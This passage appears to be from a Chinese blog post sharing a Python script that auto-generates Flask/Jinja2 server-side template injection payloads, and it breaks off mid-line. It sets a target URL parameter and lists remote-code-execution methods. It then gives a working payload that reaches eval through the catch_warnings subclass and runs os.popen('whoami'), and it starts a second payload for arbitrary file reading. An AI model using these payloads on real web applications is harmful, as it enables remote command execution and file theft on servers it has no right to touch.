Python+Flask SSTI 注入payload自动生成

抛开代码丑不谈，用起来还是挺好用滴。

登录后复制

from flask import Flask, request
from jinja2 import Template
from threading import Thread
import requests
import os

# 写入需注入的站点和url参数
site = "http://127.0.0.1:5000/waewe?404_url="


# url存储字典
url_dict = {
          
    "popen": [],
    "eval": [],
    "__import__": [],
    "subprocess": [],
}


# 通用[Python2、3]及绕过payload
currency_url = [
    "通用payload_rce: " + site + "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{
          { c.__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('whoami').read()\") }}{% endif %}{% endfor %}\n",
    "通用payload_任意文件读取_utf8: " + site +